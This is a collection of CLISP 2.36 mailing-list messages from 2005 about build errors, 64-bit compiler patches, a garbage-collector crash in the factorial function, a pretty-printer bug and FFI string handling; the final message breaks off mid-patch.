> you should not be surpized though that this package is CLISP-specific
> and offers functionality
>     <http://clisp.cons.org/impnotes/modules.html#syscalls>
> which has nothing to do with the POSIX package in ACL.
> 

Hello, Sam!

Doing this on the new 2.36 version in the end I got this error message:

...
rm -f txt.c
rm -f txt
ln -s ../doc/LISP-tutorial.txt LISP-tutorial.txt
ln -s ../doc/CLOS-guide.txt CLOS-guide.txt
ln -s ../doc/editors.txt editors.txt
ln -s ../doc/impnotes.html impnotes.html
ln -s ../doc/impnotes.css impnotes.css
ln -s ../doc/clisp.png clisp.png
groff -Tdvi -mandoc  clisp.1 > clisp.dvi
groff: can't find `DESC' file
groff:fatal error: invalid device `dvi'
make: *** [clisp.dvi] Ошибка 3
ru@srp-lnx:~/clisp-2.36$

Can you help me and give me advice what to do next to handle problem?
Thanks in advance.

Sincerely,
Ru




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On Thu, Dec 15, 2005 at 12:29:49PM -0500, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-15 17:19:53 +0100]:
> >
> > It seems that at least the factorial called with (ext:! <number>)
> > destroys the memory managment of clisp.
> 
> even (! 1000) does not cause a crash.
> something else is in play here too.
> we need a DEBUG_GCSAFETY build on a 64-bit platform.

OK ... beside this, the macro defined_class_length should use size_t
instead of ULONG type at least on 64-bit platforms.  The g++ does not
like ULONG in a comparision with gcv_object_t* pointers.  Also ()
around a structure is not that good for modern c++ compilers.

Beside this I had removed the `inline' from check_faddress_valid()
to get it to link on SuSE Linux 10.0 x86_64. The g++ version is
g++ (GCC) 4.0.2 20050901. See patch below.

But nevertheless the last lines are:

echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
STACK depth: 22389
make: *** [interpreted.mem] Segmentation fault

     Werner

--------------------------------------------------------------------------------
--- src/foreign.d
+++ src/foreign.d	2005-12-16 15:08:23.000000000 +0100
@@ -604,7 +604,7 @@
  < fa: foreign address
  can trigger GC */
 local maygc void validate_fpointer (object obj);
-global maygc inline object check_faddress_valid (object fa) {
+global maygc object check_faddress_valid (object fa) {
   object fp = TheFaddress(fa)->fa_base;
   if (!fp_validp(TheFpointer(fp))) {
     pushSTACK(fa); validate_fpointer(fp); fa=popSTACK();
--- src/lispbibl.d
+++ src/lispbibl.d	2005-12-16 15:08:01.000000000 +0100
@@ -223,7 +223,7 @@
 #endif
 #ifdef GENERIC_UNIX
   #define UNIX
-  #ifdef __linux__
+  #if defined(__linux__) || defined(linux)
     #define UNIX_LINUX  # Linux (Linus Torvalds Unix)
   #endif
   #ifdef __GNU__
@@ -1273,7 +1273,7 @@
   #include <stddef.h>
 #else
   #undef offsetof
-  #define offsetof(type,ident)  ((ULONG)&(((type*)0)->ident))
+  #define offsetof(type,ident)  ((size_t)&(((type*)0)->ident))
 #endif
 # Determine the offset of an array 'ident' in a struct of the type 'type':
 #if defined(__cplusplus) || defined(MICROSOFT)
@@ -3337,9 +3337,9 @@
   # type_data_object(type,data)
   #if defined(WIDE) && defined(WIDE_STRUCT)
     #if BIG_ENDIAN_P==WIDE_ENDIANNESS
-      #define type_data_object(type,data)  ((object){{(tint)(type),(aint)(data)}INIT_ALLOCSTAMP})
+      #define type_data_object(type,data)  (object){{(tint)(type),(aint)(data)}INIT_ALLOCSTAMP}
     #else
-      #define type_data_object(type,data)  ((object){{(aint)(data),(tint)(type)}INIT_ALLOCSTAMP})
+      #define type_data_object(type,data)  (object){{(aint)(data),(tint)(type)}INIT_ALLOCSTAMP}
     #endif
   #elif !(oint_addr_shift==0)
     #define type_data_object(type,data)  \
@@ -6574,7 +6574,7 @@
 } *  Class;
 
 # Length of a <defined-class>.
-#define defined_class_length ((((ULONG)&((Class)0)->initialized-offsetofa(record_,recdata))/sizeof(gcv_object_t))+1)
+#define defined_class_length ((((size_t)&((Class)0)->initialized-offsetofa(record_,recdata))/sizeof(gcv_object_t))+1)
 # Length of a <built-in-class>.
 #define built_in_class_length  (defined_class_length+1) # = clos::*<built-in-class>-instance-size*
 
@@ -16558,7 +16558,7 @@
 /* ensure that the Faddress is valid
  < fa: foreign address (not checked!)
  can trigger GC */
-extern maygc inline object check_faddress_valid (object fa);
+extern maygc object check_faddress_valid (object fa);
 
 # Registers a foreign variable.
 # register_foreign_variable(address,name,flags,size);
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Hi Ru

> * Ru <fbebxva@bbtvf.eh> [2005-12-15 17:34:45 +0000]:
> Doing this on the new 2.36 version in the end I got this error message:
>
> ...
> rm -f txt.c
> rm -f txt
> ln -s ../doc/LISP-tutorial.txt LISP-tutorial.txt
> ln -s ../doc/CLOS-guide.txt CLOS-guide.txt
> ln -s ../doc/editors.txt editors.txt
> ln -s ../doc/impnotes.html impnotes.html
> ln -s ../doc/impnotes.css impnotes.css
> ln -s ../doc/clisp.png clisp.png
> groff -Tdvi -mandoc  clisp.1 > clisp.dvi
> groff: can't find `DESC' file
> groff:fatal error: invalid device `dvi'
> make: *** [clisp.dvi] =D0=9E=D1=88=D0=B8=D0=B1=D0=BA=D0=B0 3
> ru@srp-lnx:~/clisp-2.36$
>
> Can you help me and give me advice what to do next to handle problem?

1. report the error to your Linux vendor: this indicates a broken groff
   installation

2. type "make" again - it should work.  if it does not, type "touch
   clisp.dvi" and then "make".  you will not have the DVI version of the
   manual, but you probably do not need it anyway (you have the standard
   "man" and html versions anyway)

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Date: Fri Dec 16 06:29:15 2005
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> * Zbyszek Jurkiewicz <molfmrx@zvzhj.rqh.cy> [2005-12-16 09:18:02 +0100]:
>
> 2.36 Linux binaries on Sourceforge are useless, because they contain
> particular directories included verbatim.  When calling make:
>
> cc -O  base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt
> -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a
> base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib
> -lsigsegv -lc -o base/lisp.run
> /usr/bin/ld: cannot find -lsigsegv
> collect2: ld returned 1 exit status
> make: *** [base/lisp.run] Error 1

you are supposed to install libsigsegv first, and then edit the
makefile, before running make.

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Date: Fri Dec 16 06:32:01 2005
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Ah, thanks

ZJ

On Fri, 16 Dec 2005, Sam Steingold wrote:

>> * Zbyszek Jurkiewicz <molfmrx@zvzhj.rqh.cy> [2005-12-16 09:18:02 +0100]:
>>
>> 2.36 Linux binaries on Sourceforge are useless, because they contain
>> particular directories included verbatim.  When calling make:
>>
>> cc -O  base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt
>> -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a
>> base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib
>> -lsigsegv -lc -o base/lisp.run
>> /usr/bin/ld: cannot find -lsigsegv
>> collect2: ld returned 1 exit status
>> make: *** [base/lisp.run] Error 1
>
> you are supposed to install libsigsegv first, and then edit the
> makefile, before running make.
>
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Date: Fri Dec 16 07:39:01 2005
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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-16 15:12:36 +0100]:
>
> OK ... beside this, the macro defined_class_length should use size_t
> instead of ULONG type at least on 64-bit platforms.  The g++ does not
> like ULONG in a comparision with gcv_object_t* pointers.

I fixed this differently earlier this week (aint instead of size_t)

> Also () around a structure is not that good for modern c++ compilers.

why?

> Beside this I had removed the `inline' from check_faddress_valid()
> to get it to link on SuSE Linux 10.0 x86_64. The g++ version is
> g++ (GCC) 4.0.2 20050901.

OK.

> But nevertheless the last lines are:
>
> echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
> ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
> STACK depth: 22389
> make: *** [interpreted.mem] Segmentation fault

the problem is
if you compile with "-g", then the crash is

Program received signal SIGSEGV, Segmentation fault.
0x00000000004896e5 in gcv_object_t::operator object (this=0x400000091f358)
    at lispbibl.d:4179
4179        nonimmprobe(one_o);

that is because 0x400000091f358 is not a valid pointer.

(gdb) up
#1  0x000000000068124e in with_gc_statistics (
    fun=0x4190f4 <do_gar_col_simple>) at predtype.d:3134
3134      var object flag = Symbol_value(S(gc_statistics_stern));
(gdb) p &(symbol_tab_data.S_gc_statistics_stern)
$1 = (symbol_ *) 0x91f350

now, look at 0x91f350
  and 0x400000091f358

the last digit (8 vs 0) is due to the "object" vs "symbol_" shift,
but the _first_ digit is totally off.
if you walk through the horrible maze of
pgci_types_pointable -> ngci_pointable (DEBUG_GCSAFETY)
vs types_pointable (normal) -> type_pointable -> pointable -> ...
you might be able to discover where on of the foo_shift is used
incorrectly.
I am rather lost.

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X-Original-Date: Fri, 16 Dec 2005 16:14:12 +0000 (UTC)

Sam Steingold <sds <at> gnu.org> writes:

> 
> 
> 2. type "make" again - it should work.  if it does not, type "touch
>    clisp.dvi" and then "make".  you will not have the DVI version of the
>    manual, but you probably do not need it anyway (you have the standard
>    "man" and html versions anyway)
> 

Hello, Sam!

Thank you! I managed to move further, but again encounter with an error:

...
config.status: creating config.h
config.status: executing default-1 commands
configure: * Regexp (Done)
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile
UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd regexp ; dots=`echo regexp/ |
 sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc"
CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I."
INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a
 -ldl   -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/home/ru/clisp-2.36/build-with-syscalls/regexp'
/home/ru/clisp-2.36/build-with-syscalls/lisp.run -M
/home/ru/clisp-2.36/build-with-syscalls/lispinit.mem -B
/home/ru/clisp-2.36/build-with-syscalls -N
/home/ru/clisp-2.36/build-with-syscalls/locale -Efile UTF-8 -Eterminal UTF-8
-Emisc 1:1 -norc -q -c regexp.lisp
;; Compiling file /home/ru/clisp-2.36/build-with-syscalls/regexp/regexp.lisp 
...
;; Wrote file /home/ru/clisp-2.36/build-with-syscalls/regexp/regexp.fas
п║п╩п╣п╢���▌�┴п╦п╣ �└��п╫п╨�├п╦п╦ п╦�│п©п╬п╩�▄п╥п╬п╡п╟п╩п╦�│�▄, 
п╫п╬ п╫п╣ п╠�▀п╩п╦ п╬п©�─п╣п╢п╣п╩п╣п╫�▀:
 REGEXP:REGEXP-COMPILE REGEXP:REGEXP-EXEC
0 п╬�┬п╦п╠п╬п╨, 0 п©�─п╣п╢��п©�─п╣п╤п╢п╣п╫п╦п╧
/home/ru/clisp-2.36/build-with-syscalls/lisp.run -M
/home/ru/clisp-2.36/build-with-syscalls/lispinit.mem -B
/home/ru/clisp-2.36/build-with-syscalls -N
/home/ru/clisp-2.36/build-with-syscalls/locale -Efile UTF-8 -Eterminal UTF-8
-Emisc 1:1 -norc -q ../modprep.fas regexi.c
;; MODPREP: "regexi.c" --> #P"regexi.m.c"
;; MODPREP: reading "regexi.c": 4,271 bytes, 124 lines
;; MODPREP: 13 objects, 3 DEFUNs
;; packages: ("REGEXP")
MODPREP: wrote regexi.m.c (8,865 bytes)
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -I.. -c regexi.m.c -o 
regexi.o
cp alloca_.h alloca.h-t
mv alloca.h-t alloca.h
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -I. -I.. -DHAVE_CONFIG_H -c
regex.c
make[1]: Leaving directory `/home/ru/clisp-2.36/build-with-syscalls/regexp'
../src/lndir ../modules/syscall syscall
../src/lndir: source does not exist: ../modules/syscall
make: *** [syscall] Ошибка 1
ru@srp-lnx:~/clisp-2.36/build-with-syscalls$ lisp.run -M lispinit.mem
bash: lisp.run: command not found
ru@srp-lnx:~/clisp-2.36/build-with-syscalls$ ./lisp.run -M lispinit.mem
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

[1]> (find-package "POSIX")
NIL
[2]>

Can you help me once more. Thanx in advance.

Sincerely,
Ru



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Sam Steingold <sds <at> gnu.org> writes:

> replace "--with-module=syscall" with "--with-module=syscalls" in your
> configure command, or just edit Makefile and replace "syscall" with
> "syscalls" in MODULES (and elsewhere).
> 
> > ru <at> srp-lnx:~/clisp-2.36/build-with-syscalls$ ./lisp.run -M lispinit.mem
> > [1]> (find-package "POSIX")
> 
> of course - this is the boot link set.
> syscalls will be in the base link set.
> run CLISP using the "clisp" driver command that will run the appropriate
> linking set.
> please see
> http://clisp.cons.org/impnotes/clisp.html#opt-link-set
> http://clisp.cons.org/impnotes/modules.html#linkset
> (I recommend that you skim through the the whole pages, not just the anchors)
> 

Uau! I did it!

...
Real time: 492.75348 sec.
Run time: 88.864494 sec.
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0
Bye.
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make[1]: Leaving directory `/home/ru/clisp-2.36/build-with-syscalls/tests'
ru@srp-lnx:~/clisp-2.36$ ./build-with-syscalls/clisp -K full
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
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Thank you very much, Sam! You are The Great Hacker!

Sincerely,
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CLISP 2.36 - MacOS 10.3.9

Default values for printer control variables (*print-level*, 
*print-depth* = nil, *print-pretty* = t)


(in-package :cl-user)

(defclass foo-class ()
   ((bar :initarg :bar)))

(defmethod print-object ((obj foo-class) stream)
   (let ((fields (list 'bar (slot-value obj 'bar))))
     (pprint-logical-block (stream fields
                                   :prefix "<" :suffix ">")
       (write (car fields) :stream stream)
       (write-string " = " stream)
       (write (cadr fields) :stream stream))))

(defparameter *foo* (make-instance 'foo-class :bar 1))


*foo*
; => <BAR = 1>
(list *foo*)
; => (>)


It seems that pprint-logical-block only prints the suffix when embedded 
in a list.


//Lennart Staflin




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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2005-12-18 17:12:55 +0100]:
>
> CLISP 2.36 - MacOS 10.3.9
>
> Default values for printer control variables (*print-level*,
> *print-depth* = nil, *print-pretty* = t)
>
>
> (in-package :cl-user)
>
> (defclass foo-class ()
>    ((bar :initarg :bar)))
>
> (defmethod print-object ((obj foo-class) stream)
>    (let ((fields (list 'bar (slot-value obj 'bar))))
>      (pprint-logical-block (stream fields
>                                    :prefix "<" :suffix ">")
>        (write (car fields) :stream stream)
>        (write-string " = " stream)
>        (write (cadr fields) :stream stream))))
>
> (defparameter *foo* (make-instance 'foo-class :bar 1))
>
>
> *foo*
> ; => <BAR = 1>
> (list *foo*)
> ; => (>)
>
>
> It seems that pprint-logical-block only prints the suffix when
> embedded in a list.

alas, this is just one of the many clisp PP bugs.
you can find more by looking at the CLISP bug tracker
(please feel free to file more - they will be addressed, eventually),
clisp/src/TODO and `grep -i risky clisp/tests/*`.

would you like to work on this?

-- 
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On Fri, Dec 16, 2005 at 10:37:02AM -0500, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-16 15:12:36 +0100]:
> >
> > OK ... beside this, the macro defined_class_length should use size_t
> > instead of ULONG type at least on 64-bit platforms.  The g++ does not
> > like ULONG in a comparision with gcv_object_t* pointers.
> 
> I fixed this differently earlier this week (aint instead of size_t)
> 
> > Also () around a structure is not that good for modern c++ compilers.
> 
> why?
> 
> > Beside this I had removed the `inline' from check_faddress_valid()
> > to get it to link on SuSE Linux 10.0 x86_64. The g++ version is
> > g++ (GCC) 4.0.2 20050901.
> 
> OK.
> 
> > But nevertheless the last lines are:
> >
> > echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
> > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
> > STACK depth: 22389
> > make: *** [interpreted.mem] Segmentation fault
> 
> the problem is
> if you compile with "-g", then the crash is
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00000000004896e5 in gcv_object_t::operator object (this=0x400000091f358)
>     at lispbibl.d:4179
> 4179        nonimmprobe(one_o);
> 
> that is because 0x400000091f358 is not a valid pointer.
> 
> (gdb) up
> #1  0x000000000068124e in with_gc_statistics (
>     fun=0x4190f4 <do_gar_col_simple>) at predtype.d:3134
> 3134      var object flag = Symbol_value(S(gc_statistics_stern));
> (gdb) p &(symbol_tab_data.S_gc_statistics_stern)
> $1 = (symbol_ *) 0x91f350
> 
> now, look at 0x91f350
>   and 0x400000091f358
> 
> the last digit (8 vs 0) is due to the "object" vs "symbol_" shift,
> but the _first_ digit is totally off.
> if you walk through the horrible maze of
> pgci_types_pointable -> ngci_pointable (DEBUG_GCSAFETY)
> vs types_pointable (normal) -> type_pointable -> pointable -> ...
> you might be able to discover where on of the foo_shift is used
> incorrectly.

Hmmm ... it seems to be a bit different:

  Program received signal SIGSEGV, Segmentation fault.
  0x00000000008535b4 in with_gc_statistics (fun=0x435202 <do_gar_col_simple>) at lispbibl.d:4179
  4179        nonimmprobe(one_o);
  Warning: the current language does not match this frame.
  (gdb) up
  #1  0x000000000041b267 in gar_col_simple () at spvw_garcol.d:2405
  2405        with_gc_statistics(&do_gar_col_simple); # GC and statistics
  (gdb) p &(symbol_tab_data.S_gc_statistics_stern)
  $1 = (symbol_ *) 0xb52168
  (gdb) 

and the chrash happens with this lisp code

  (let ((ht (make-hash-table :test 'ext:fasthash-eq)))
    (defstruct ht-test-struct a b c)
    (setq x (make-ht-test-struct :a 1 :b 2 :c ht))
    (setf (gethash ht ht) ht
          (gethash x ht) 12)
    (setq x (read-from-string (with-standard-io-syntax (write-to-string x)))
          ht (ht-test-struct-c x))
    (setf (ht-test-struct-a x) (ext:! <X>))
    (ext:gc)
    (list (eq (gethash ht ht) ht)
          (gethash x ht)))
  (quit)

with the numbers <X> = 17,20,21,22,23,....
In other words, the numbers 1 ... 16, 18, and 19 do work
here on this x86_64 at least upto the (quit).

> I am rather lost.

ACK ... IMHO the clisp engine needs some changes to make
the code more handy.


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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-19 15:19:00 +0100]:
>
> ACK ... IMHO the clisp engine needs some changes to make
> the code more handy.

someone has to go through lispbibl.h (generated by make)
and figure out why g++ build does not work.
then DEBUG_GCSAFETY will pinpoint the bug.

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Date: Mon Dec 19 08:29:01 2005
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On Mon, Dec 19, 2005 at 03:19:00PM +0100, Dr. Werner Fink wrote:
> 
> and the chrash happens with this lisp code
> 
>   (let ((ht (make-hash-table :test 'ext:fasthash-eq)))
>     (defstruct ht-test-struct a b c)
>     (setq x (make-ht-test-struct :a 1 :b 2 :c ht))
>     (setf (gethash ht ht) ht
>           (gethash x ht) 12)
>     (setq x (read-from-string (with-standard-io-syntax (write-to-string x)))
>           ht (ht-test-struct-c x))
>     (setf (ht-test-struct-a x) (ext:! <X>))
>     (ext:gc)
>     (list (eq (gethash ht ht) ht)
>           (gethash x ht)))
>   (quit)
> 
> with the numbers <X> = 17,20,21,22,23,....
> In other words, the numbers 1 ... 16, 18, and 19 do work
> here on this x86_64 at least upto the (quit).

The numbers 34 upto 124 do not crash the code above.

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Date: Mon Dec 19 17:43:12 2005
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Hi,
 Say I have a C function as shown below:

char* return_string (int *len)
{
   const char *str="hello baby";
	*len=strlen(str)*sizeof(char);
	
   char *new_str=(char*)malloc(*len + 1);
	strcpy(new_str,"hello baby");
	new_str[3]='\0';
	return new_str;
}

and I write the corresponding ffi declaration as follows;

(ffi:def-call-out return_string
    (:name "return_string")
  (:arguments (len (ffi:c-ptr ffi:uint) :out))
  (:return-type (FFI:C-POINTER character) :malloc-free)
  (:library "test.dll")
  (:language :stdc))

And my objective is to get a string in lisp which might contain the null
symbol.

(let (ptr len str)
  (multiple-value-setq (ptr len) (return_string))
  (setf str (ffi:with-c-var (array 'ffi:c-pointer ptr)
              (ffi:cast array `(ffi:c-ptr (ffi:c-array character ,len)))))
  str)

Is the above the best way to do it, and is it correct? Can I do it more
efficiently and in a better way?

Thanks for the help.

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Date: Tue Dec 20 08:44:03 2005
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Surendra Singhi asks:
>(ffi:def-call-out return_string
>    (:name "return_string")
>  (:arguments (len (ffi:c-ptr ffi:uint) :out))
>  (:return-type (FFI:C-POINTER character) :malloc-free)
>  (:library "test.dll")
>  (:language :stdc))

>And my objective is to get a string in lisp which might 
>contain the null symbol.

This is no different from any other case with variable length arrays, shown in this list several times already.

>(let (ptr len str)
>  (multiple-value-setq (ptr len) (return_string))
>  (setf str (ffi:with-c-var (array 'ffi:c-pointer ptr)
>              (ffi:cast array `(ffi:c-ptr (ffi:c-array 
>character ,len)))))
>  str)

>Is the above the best way to do it, and is it correct? Can I do it more
>efficiently and in a better way?
It's not that bad, but with-c-var is superfluous.

Since you use :return-type (ffi-cpointer character), just use
(with-c-place (v ptr)
  (offset v 0 `(c-array character ,len)))

Or use a plain c-pointer :return-type, together with
(foreign-value
 (foreign-variable ptr (parse-c-type '(c-array character ,len)))
Do as you please.

Another solution might be to use WITH-FOREIGN-STRING to pass the buffer to the foreign string, then read it back using the above technique.  But in your case, you received the pointer from the function and did not pass it some buffer.

You may wonder about with-c-var (bad)/with-c-place(good). One creates a closure and uses a trampoline technique to achieve the results, whereas the other is nothing but symbol macro substitution, no closure, just the call to OFFSET and PARSE-C-TYPE (which gets optimized away). I think it makes quite a difference, despite the similar names.
Do you think that impnotes should mention such gory details? If yes, would you be willing to provide text snippets as to what you'd consider a valuable addition?

Regards,
	Jorg Hohle.


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Date: Tue Dec 20 14:02:00 2005
X-Original-Date: Tue, 20 Dec 2005 14:58:53 -0700

"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> Surendra Singhi asks:
>
> This is no different from any other case with variable length arrays, shown in this list several times already.

Thanks, I appreciate it.

I had seen your post regarding variable length arrays, but in that you
had mentioned about working on a different way of doing things. Thats why I
asked this question again. And I am glad I did, otherwise I wouldn't have
known the difference between with-c-place and with-c-var.

Thanks once again.

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On Mon, Dec 19, 2005 at 05:27:53PM +0100, Dr. Werner Fink wrote:
> On Mon, Dec 19, 2005 at 03:19:00PM +0100, Dr. Werner Fink wrote:
> > 
> > and the chrash happens with this lisp code
> > 
> >   (let ((ht (make-hash-table :test 'ext:fasthash-eq)))
> >     (defstruct ht-test-struct a b c)
> >     (setq x (make-ht-test-struct :a 1 :b 2 :c ht))
> >     (setf (gethash ht ht) ht
> >           (gethash x ht) 12)
> >     (setq x (read-from-string (with-standard-io-syntax (write-to-string x)))
> >           ht (ht-test-struct-c x))
> >     (setf (ht-test-struct-a x) (ext:! <X>))
> >     (ext:gc)
> >     (list (eq (gethash ht ht) ht)
> >           (gethash x ht)))
> >   (quit)
> > 
> > with the numbers <X> = 17,20,21,22,23,....
> > In other words, the numbers 1 ... 16, 18, and 19 do work
> > here on this x86_64 at least upto the (quit).
> 
> The numbers 34 upto 124 do not crash the code above.

Sam? What do you see if you're doing this

  for x in $(seq 1 200) ; do
       echo "! $x"
       echo "(ext:! $x)" | \
       ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q
       test $? -eq 0 || echo crash
  done

...?

      Werner

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-21 14:26:29 +0100]:
>
> Sam? What do you see if you're doing this
>
>   for x in $(seq 1 200) ; do
>        echo "! $x"
>        echo "(ext:! $x)" | \
>        ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q
>        test $? -eq 0 || echo crash
>   done

! 1
1
! 2
2
! 3
6
! 4
24
! 5
120
! 6
720
! 7
5040
! 8
40320
! 9
362880
! 10
3628800
! 11
39916800
! 12
479001600
! 13
6227020800
! 14
87178291200
! 15
1307674368000
! 16
20922789888000
! 17
0
! 18
0
! 19
0
! 20
*** - Internal error: statement in file "io.d", line 6949 has been reached!!
      Please send the authors of the program a description how you produced
      this error!

crash
! 21

*** - handle_fault error2 ! address = 0x1b910000000b not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x1b910000000b.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 22
*** - Internal error: statement in file "io.d", line 6949 has been reached!!
      Please send the authors of the program a description how you produced
      this error!

crash
! 23

*** - handle_fault error2 ! address = 0x739500000004 not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x739500000004.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 24

*** - handle_fault error2 ! address = 0x100000000003 not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x100000000003.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 25

*** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 26
*** - Internal error: statement in file "io.d", line 6949 has been reached!!
      Please send the authors of the program a description how you produced
      this error!

crash
! 27

*** - handle_fault error2 ! address = 0x1b9100000001 not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x1b9100000001.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 28

*** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 29

*** - handle_fault error2 ! address = 0x6d2b00000000 not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x6d2b00000000.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 30

*** - handle_fault error2 ! address = 0xffffffffffffffff not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0xffffffffffffffff.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 31

*** - handle_fault error2 ! address = 0x1020ffffffff not in [0xcccd8cff0,0xccce70000) !
SIGSEGV cannot be cured. Fault address = 0x1020ffffffff.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 32
*** - Internal error: statement in file "io.d", line 6949 has been reached!!
      Please send the authors of the program a description how you produced
      this error!

crash
! 33

*** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 159656 bytes.
Currently in use: 3143928 bytes.
Free space: 749702 bytes.
Segmentation fault
crash
! 34
295232799039604140847618609643520000000
! 35
10333147966386144929666651337523200000000
! 36
371993326789901217467999448150835200000000
! 37
13763753091226345046315979581580902400000000
! 38
523022617466601111760007224100074291200000000
! 39
20397882081197443358640281739902897356800000000
! 40
815915283247897734345611269596115894272000000000
! 41
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! 42
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! 43
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! 44
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! 45
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! 46
5502622159812088949850305428800254892961651752960000000000
! 47
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! 48
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! 49
608281864034267560872252163321295376887552831379210240000000000
! 50
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! 51
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! 52
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! 53
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! 54
230843697339241380472092742683027581083278564571807941132288000000000000
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On Wed, Dec 21, 2005 at 02:26:29PM +0100, Dr. Werner Fink wrote:
> > > 
> > > with the numbers <X> = 17,20,21,22,23,....
> > > In other words, the numbers 1 ... 16, 18, and 19 do work
> > > here on this x86_64 at least upto the (quit).
> > 
> > The numbers 34 upto 124 do not crash the code above.
> 
> Sam? What do you see if you're doing this
> 
>   for x in $(seq 1 200) ; do
>        echo "! $x"
>        echo "(ext:! $x)" | \
>        ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q
>        test $? -eq 0 || echo crash
>   done
> 
> ...?

OK, I now using this patch ...

----------------------------* snip *----------------------------------------
--- src/intmal.d
+++ src/intmal.d	2005-12-21 15:09:43.000000000 +0100
@@ -921,7 +921,7 @@
       #endif
       };
     var uintV n_ = posfixnum_to_V(n);
-    if (n_ < sizeof(fakul_table)/sizeof(uintL)) {
+    if (n_ < sizeof(fakul_table)/sizeof(uintV)) {
       return fixnum(fakul_table[n_]);
     } else {
